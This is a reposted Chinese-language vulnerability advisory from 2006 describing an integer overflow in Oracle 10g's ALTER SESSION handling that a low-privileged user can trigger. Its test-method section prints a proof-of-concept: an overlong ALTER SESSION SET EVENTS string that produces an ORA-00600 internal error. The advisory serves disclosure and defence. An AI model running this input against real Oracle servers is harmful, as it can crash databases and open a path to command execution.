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[转载]Oracle 10g更改会话整数溢出漏洞

[转载]Oracle 10g更改会话整数溢出漏洞

信息来源:绿盟科技

发布日期:2006-07-27
更新日期:2006-08-01

受影响系统:
Oracle Oracle10g
描述:
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BUGTRAQ  ID: 19201

Oracle是一款大型的商业数据库系统。

Oracle在处理更改会话操作时存在整数溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。

仅拥有SELECT权限的用户可以通过提交超长的alter session请求来触发这个漏洞,导致在数据库中执行任意命令。

<*来源:putosoft softputo (hasecorp@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l= ... 11333825833&w=2
*>

测试方法:
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警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

以仅有CREATE SESSION权限用户的身份连接到数据库。

SQL> alter session set events &#39;10046 trace name context forever, level 16&#39;;

Session altered.

SQL> alter session set events
&#39;10046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004610046100461004610046100461004610046
100461004610046100461004610046100461004610046100461004610046100461004610
046100461004610046100461004610046100461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
004610046100461004610046100461004610046100461004610046100461004610046100
461004610046100461004610046100461004
610046100461004610046100461004610046100461004610046100461004610046100461
00461004610046trace
name context forever, level 16&#39;;
ERROR:
ORA-00600: internal error code, arguments: [300], [985], [], [], [], [], [],
[]

建议:
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厂商补丁:

Oracle
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.oracle.com

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